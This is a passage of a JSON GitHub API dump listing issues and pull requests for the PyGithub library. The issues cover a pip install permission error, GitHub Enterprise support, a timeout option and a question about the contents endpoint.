v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Installing on OS X 10.7 via:\n $ pip install PyGithub\n\n(Using the Python 2.7 package from python.org, and not OS X's python2.6 flavour)\n\nGot an error message:\n running install_data\n copying ReadMe.md -> /System/Library/Frameworks/Python.framework/Versions/2.7/\n error: /System/Library/Frameworks/Python.framework/Versions/2.7/ReadMe.md: Permission denied\n\nWhile I can use sudo to make the error message go away, I don't think `/System/Library/Frameworks/Python.framework/Versions/2.7/` is the correct location for the documentation. I don't know much about writing setup.py files, but after looking at gunicorn, flask, and numpy, it doesn't look like any of them use data_files for installing documentation."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/57","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/57/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/57/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/57/events","html_url":"https://github.com/jacquev6/PyGithub/issues/57","id":5783131,"number":57,"title":"Allows connection to GitHub Enterprise installs on local URLs","user":{"login":"engie","id":1247,"avatar_url":"https://secure.gravatar.com/avatar/37a932b3abe212892173784736ed6b12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"37a932b3abe212892173784736ed6b12","url":"https://api.github.com/users/engie","html_url":"https://github.com/engie","followers_url":"https://api.github.com/users/engie/followers","following_url":"https://api.github.com/users/engie/following{/other_user}","gists_url":"https://api.github.com/users/engie/gists{/gist_id}","starred_url":"https://api.github.com/users/engie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/engie/subscriptions","organizations_url":"https://api.github.com/users/engie/orgs","repos_url":"https://api.github.com/users/engie/repos","events_url":"https://api.github.com/users/engie/events{/privacy}","received_events_url":"https://api.github.com/users/engie/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/8","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/8/labels","id":150933,"number":8,"title":"Version 1.4","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":3,"state":"closed","created_at":"2012-07-24T16:04:28Z","updated_at":"2012-09-11T18:52:13Z","due_on":"2012-08-05T07:00:00Z"},"comments":2,"created_at":"2012-07-23T16:44:06Z","updated_at":"2012-08-04T05:59:15Z","closed_at":"2012-08-04T05:59:15Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/57","diff_url":"https://github.com/jacquev6/PyGithub/pull/57.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/57.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"This patch allows you to use the module with local (i.e. Enterprise) GitHub installs. Passes the tests here, defaults to connecting to api.github.com."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/62","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/62/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/62/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/62/events","html_url":"https://github.com/jacquev6/PyGithub/issues/62","id":6454054,"number":62,"title":"Add timeout option","user":{"login":"xobb1t","id":344095,"avatar_url":"https://secure.gravatar.com/avatar/ae8a2af3de601885a14bb71240e5d1a6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ae8a2af3de601885a14bb71240e5d1a6","url":"https://api.github.com/users/xobb1t","html_url":"https://github.com/xobb1t","followers_url":"https://api.github.com/users/xobb1t/followers","following_url":"https://api.github.com/users/xobb1t/following{/other_user}","gists_url":"https://api.github.com/users/xobb1t/gists{/gist_id}","starred_url":"https://api.github.com/users/xobb1t/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/xobb1t/subscriptions","organizations_url":"https://api.github.com/users/xobb1t/orgs","repos_url":"https://api.github.com/users/xobb1t/repos","events_url":"https://api.github.com/users/xobb1t/events{/privacy}","received_events_url":"https://api.github.com/users/xobb1t/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/9","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/9/labels","id":164586,"number":9,"title":"Version 1.5","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-08-23T07:44:21Z","updated_at":"2012-09-05T17:56:28Z","due_on":"2012-09-06T07:00:00Z"},"comments":2,"created_at":"2012-08-25T19:42:13Z","updated_at":"2012-09-05T17:23:47Z","closed_at":"2012-09-05T17:23:47Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/62","diff_url":"https://github.com/jacquev6/PyGithub/pull/62.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/62.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Add support of `timeout` option. Unfortunately drops python < 2.6 support."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/65","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/65/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/65/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/65/events","html_url":"https://github.com/jacquev6/PyGithub/issues/65","id":6641076,"number":65,"title":"GET /repos/:user/:repo/contents/:path","user":{"login":"berndca","id":466654,"avatar_url":"https://secure.gravatar.com/avatar/4a43f97dc0112d95d8d713e2fd2a983b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4a43f97dc0112d95d8d713e2fd2a983b","url":"https://api.github.com/users/berndca","html_url":"https://github.com/berndca","followers_url":"https://api.github.com/users/berndca/followers","following_url":"https://api.github.com/users/berndca/following{/other_user}","gists_url":"https://api.github.com/users/berndca/gists{/gist_id}","starred_url":"https://api.github.com/users/berndca/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/berndca/subscriptions","organizations_url":"https://api.github.com/users/berndca/orgs","repos_url":"https://api.github.com/users/berndca/repos","events_url":"https://api.github.com/users/berndca/events{/privacy}","received_events_url":"https://api.github.com/users/berndca/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10/labels","id":169989,"number":10,"title":"Version 1.6","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-09-04T20:12:30Z","updated_at":"2012-09-08T18:00:28Z","due_on":"2012-09-13T07:00:00Z"},"comments":2,"created_at":"2012-09-04T17:42:29Z","updated_at":"2012-09-08T11:06:18Z","closed_at":"2012-09-08T11:06:18Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I have not been able to figure out how to access the github API request for GET /repos/:user/:repo/contents/[:path] using PyGithub. Perhaps I'm missing something?\n\nPlease advise.\nThanks, Bernd"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/67","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/67/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/67/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/67/events","html_url":"https://github.com/jacquev6/PyGithub/issues/67","id":6653907,"number":67,"title":"Statuses","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[{"url":"